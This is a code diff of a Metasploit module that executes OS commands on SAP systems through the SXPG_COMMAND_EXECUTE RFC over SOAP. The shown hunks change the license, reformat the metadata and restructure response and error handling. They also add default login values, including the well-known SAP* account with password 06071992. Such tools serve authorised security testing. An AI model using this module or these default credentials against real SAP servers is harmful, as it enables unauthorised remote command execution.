@@ -28,21 +28,30 @@ def initialize
28
28
super (
29
29
'Name' => 'SAP SOAP RFC SXPG_COMMAND_EXECUTE' ,
30
30
'Description' => %q{
31
- This module makes use of the SXPG_COMMAND_EXECUTE Remote Function Call (via SOAP)
32
- to execute OS commands as configured in SM69.
31
+ This module makes use of the SXPG_COMMAND_EXECUTE Remote Function Call, through
32
+ the use of the /sap/bc/soap/rfc SOAP service to execute OS commands as configured
33
+ in the SM69 transaction.
33
34
} ,
34
- 'References' => [ [ 'URL' , 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ] ] ,
35
- 'Author' => [ 'Agnivesh Sathasivam' , 'nmonkee' ] ,
36
- 'License' => BSD_LICENSE
37
- )
35
+ 'References' =>
36
+ [
37
+ [ 'URL' , 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]
38
+ ] ,
39
+ 'Author' =>
40
+ [
41
+ 'Agnivesh Sathasivam' ,
42
+ 'nmonkee'
43
+ ] ,
44
+ 'License' => MSF_LICENSE
45
+ )
38
46
register_options (
39
47
[
40
- OptString . new ( 'CLIENT' , [ true , 'Client' , nil ] ) ,
41
- OptString . new ( 'USERNAME' , [ true , 'Username' , nil ] ) ,
42
- OptString . new ( 'PASSWORD' , [ true , 'Password' , nil ] ) ,
43
- OptString . new ( 'CMD' , [ true , 'Command to be executed' , nil ] ) ,
44
- OptString . new ( 'PARAM' , [ false , 'Additional parameters' , nil ] ) ,
45
- OptEnum . new ( 'OS' , [ true , 'Target OS' , 'ANYOS' , [ 'ANYOS' , 'UNIX' , 'Windows NT' , 'AS/400' , 'OS/400' ] ] )
48
+ Opt ::RPORT ( 8000 ) ,
49
+ OptString . new ( 'CLIENT' , [ true , 'SAP Client' , '001' ] ) ,
50
+ OptString . new ( 'USERNAME' , [ true , 'Username' , 'SAP*' ] ) ,
51
+ OptString . new ( 'PASSWORD' , [ true , 'Password' , '06071992' ] ) ,
52
+ OptString . new ( 'CMD' , [ true , 'SM69 command to be executed' , nil ] ) ,
53
+ OptString . new ( 'PARAM' , [ false , 'Additional parameters for the SM69 command' , nil ] ) ,
54
+ OptEnum . new ( 'OS' , [ true , 'SM69 Target OS' , 'ANYOS' , [ 'ANYOS' , 'UNIX' , 'Windows NT' , 'AS/400' , 'OS/400' ] ] )
46
55
] , self . class )
47
56
end
48
57
@@ -82,8 +91,13 @@ def run_host(ip)
82
91
# to do - implement error handlers for each status code, 404, 301, etc.
83
92
print_error ( "[SAP] #{ ip } :#{ rport } - something went wrong!" )
84
93
return
85
- else
86
- success = true
94
+ elsif res and res . body =~ /faultstring/
95
+ error = res . body . scan ( %r{<faultstring>(.*?)</faultstring>} ) . flatten
96
+ 0 . upto ( error . length -1 ) do |i |
97
+ print_error ( "[SAP] #{ ip } :#{ rport } - error #{ error [ i ] } " )
98
+ end
99
+ return
100
+ elsif res
87
101
print_status ( "[SAP] #{ ip } :#{ rport } - got response" )
88
102
saptbl = Msf ::Ui ::Console ::Table . new (
89
103
Msf ::Ui ::Console ::Table ::Style ::Default ,
@@ -93,26 +107,19 @@ def run_host(ip)
93
107
'Indent' => 1 ,
94
108
'Columns' => [ "Output" , ]
95
109
)
96
- response = res . body if res
97
- if response =~ /faultstring/
98
- error = response . scan ( %r{<faultstring>(.*?)</faultstring>} ) . flatten
99
- sucess = false
100
- end
101
- output = response . scan ( %r{<MESSAGE>([^<]+)</MESSAGE>} ) . flatten
110
+ output = res . body . scan ( %r{<MESSAGE>([^<]+)</MESSAGE>} ) . flatten
102
111
for i in 0 ..output . length -1
103
112
saptbl << [ output [ i ] ]
104
113
end
114
+ print ( saptbl . to_s )
115
+ return
116
+ else
117
+ print_error ( "[SAP] #{ ip } :#{ rport } - Unknown error" )
118
+ return
105
119
end
106
120
rescue ::Rex ::ConnectionError
107
121
print_error ( "[SAP] #{ ip } :#{ rport } - Unable to connect" )
108
- return false
109
- end
110
- if success
111
- print ( saptbl . to_s )
112
- elsif !sucess
113
- 0 . upto ( error . length -1 ) do |i |
114
- print_error ( "[SAP] #{ ip } :#{ rport } - error #{ error [ i ] } " )
115
- end
122
+ return
116
123
end
117
124
end
118
125
end
0 commit comments